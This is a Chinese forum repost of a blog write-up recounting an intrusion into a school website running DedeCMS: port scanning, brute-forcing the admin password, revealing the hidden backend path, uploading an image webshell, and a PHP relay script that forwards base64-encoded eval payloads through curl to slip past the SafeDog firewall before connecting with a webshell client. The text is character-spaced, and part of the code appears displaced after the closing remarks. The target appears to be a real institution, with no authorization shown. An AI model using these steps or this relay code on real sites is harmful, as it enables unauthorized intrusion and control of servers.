搜索

[18277] 2021-02-03_实战记一次对学校网站的渗透记录

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-02-03_实战记一次对学校网站的渗透记录 实 战 | 记 一 次 对 学 校 网 站 的 渗 透 记 录 W a Z t y   H A C K 之 道   2 0 2 1 - 0 2 - 0 3 一 、 信 息 收 集 一 、 信 息 收 集 首 先 对 网 站 的 信 息 进 行 判 断 ， 可 以 很 明 显 的 判 断 出 来 是 d e d e c m s （ 织 梦 ） 鉴 于 织 梦 的 漏 洞 比 较 多 ， 我 们 先 对 网 站 的 信 息 进 行 一 下 收 集 ， 再 进 行 下 一 步 的 操 作 。 在 这 里 我 们 可 以 判 断 网 站 使 用 了 安 全 狗 的 防 护 。
我 们 再 去 站 长 平 台 来 对 网 站 进 行 一 次 检 测 ， 我 们 可 以 看 到 网 站 的 I P 地 址 ， 并 且 判 断 出 来 是 个 本 地 的 服 务 器 。 再 回 到 网 站 ， 我 们 随 便 点 开 一 篇 文 章 ， 看 到 页 脚 作 者 信 息 ， 不 出 所 料 a d m i n ， 此 时 ， 心 里 面 应 该 有 数 了 ， 后 台 管 理 员 账 户 就 是 a d m i n ， 就 差 找 到 后 台 地 址 了 ， h i a h i a ~
有 了 这 些 还 觉 得 太 少 ， 于 时 丢 进 n m a p 对 主 机 一 顿 扫 ， 看 到 了 开 放 的 这 几 个 端 口 ： 看 到 3 3 8 9 长 叹 一 口 气 ， 应 该 可 以 确 定 是 w i n 的 服 务 器 了 。 使 用 远 程 桌 面 连 接 了 一 下 I P 试 试 ， 没 得 跑 。 二 、 利 用 过 程 二 、 利 用 过 程 方 案 一 ： 有 了 I P 地 址 和 3 3 8 9 的 信 息 ， 我 们 可 以 用 h y d r a 来 对 3 3 8 9 进 行 一 下 爆 破 ， 可 以 用 网 页 下 面 的 信 息 ， 和 域 名 的 注 册 信 息 ， 在 这 里 看 到 还 有 几 个 子 站 ， 应 该 是 委 托 搭 建 的 。 方 案 二 ： 织 梦 c m s 通 用 后 台 都 是 / d e d e ， 但 是 显 然 这 个 管 理 员 已 经 更 改 了 后 台 地 址 ， 但 是 丝 毫 不 慌 ， 我 们 只 需 要 稍 微 的 变 动 一 下 ， 就 会 有 办 法 ， 只 要 思 想 不 滑 坡 ， 办 法 总 比 困 难 多 。 我 们 把 地 址 改 为 ： h t t p : / / x x x x . c o m / i n c l u d e / d i a l o g / s e l e c t _ m e d i a . p h p ? f = f o r m 1 . m u r l 即 可 看 到 以 下 画 面 ： 2 3 / t c p       o p e n           t e l n e t 8 0 / t c p       o p e n           h t t p 1 9 3 5 / t c p   o p e n           r t m p 3 3 8 9 / t c p   o p e n           m s - w b t - s e r v e r
或 者 使 用 扫 描 软 件 对 网 站 进 行 一 波 扫 描 ， 也 是 同 样 可 以 的 。 进 入 到 后 台 地 址 之 后 ， 发 现 后 台 连 个 验 证 码 都 没 有 ， 鉴 于 前 面 已 经 知 道 了 网 站 管 理 员 的 账 号 ， 于 时 我 们 就 请 出 大 宝 剑 b u r p ， 一 阵 梭 哈 之 后 ， 就 g e t 到 了 后 台 管 理 员 的 密 码 ， 对 于 字 典 的 生 成 ， 可 以 去 找 个 字 典 平 台 ， 把 收 集 到 的 网 站 信 息 田 间 去 ， 自 动 生 成 字 典 ， 我 这 边 使 用 的 是 常 用 1 0 0 密 码 ， 鉴 于 管 理 员 的 安 全 意 识 较 差 ， 我 就 直 接 进 ♂ 来 了 。
后 台 有 图 片 上 传 接 口 ， 上 传 图 片 马 不 会 拦 截 ， 因 为 有 安 全 狗 ， 所 以 需 要 绕 过 一 下 ， 因 为 某 些 原 因 ， 后 面 的 过 程 就 简 单 概 括 以 下 ， 通 过 本 地 搭 建 w e b 服 务 ， 把 e v a l 数 据 进 行 b a s e 6 4 加 密 ， 创 建 一 个 跳 板 ， 跳 过 小 狗 。 创 建 s h e l l . p h p < ? p h p $ t a r g e t = " < a   r e l = " e x t e r n a l   n o f o l l o w "   h r e f = " 1 9 2 . 1 6 8 . 1 . 3 / i n s t a l l / s h e l l . p h p " ; > " ; $ p o s t s t r = ' ' ; $ i = 0 ; f o r e a c h ( $ _ P O S T   a s   $ k = > $ v ) { i f ( s t r s t r ( $ v ,   " b a s e 6 4 _ d e c o d e " ) ) { $ v = s t r _ r e p l a c e ( " b a s e 6 4 _ d e c o d e ( " , " " , $ v ) ; $ v = s t r _ r e p l a c e ( " ) ) " , " ) " , $ v ) ; } e l s e { i f ( $ k = = = " z 0 " ) $ v = b a s e 6 4 _ d e c o d e ( $ v ) ; } $ p p = $ k . " = " . u r l e n c o d e ( $ v ) ; / / e c h o ( $ p p ) ; i f ( $ i ! = 0 ) { $ p o s t s t r = $ p o s t s t r . " & " . $ p p ; } e l s e
之 后 菜 刀 直 连 g e t s h e l l ， 一 顿 梭 哈 之 后 ， 上 传 补 天 。 刚 入 门 安 全 ， 文 章 技 术 性 不 是 很 高 ， 欢 迎 各 位 大 佬 前 来 吐 槽 ， 大 家 一 起 交 ♂ 流 学 习 ！ 作 者 ： W a Z t y ， 来 源 ： c n b l o g s . c o m / y u a n t o n g b l o g ， 欢 迎 关 注 作 者 博 客 。 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文 e l s e { $ p o s t s t r = $ p p ; } $ i = $ i + 1 ; } $ c h   =   c u r l _ i n i t ( ) ; $ c u r l _ u r l   =   $ t a r g e t . " ? " . $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ] ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   $ c u r l _ u r l ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ P O S T ,   1 ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ P O S T F I E L D S ,   $ p o s t s t r ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ R E T U R N T R A N S F E R ,   1 ) ; $ r e s u l t   =   c u r l _ e x e c ( $ c h ) ; c u r l _ c l o s e ( $ c h ) ; e c h o   $ r e s u l t ; ? >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理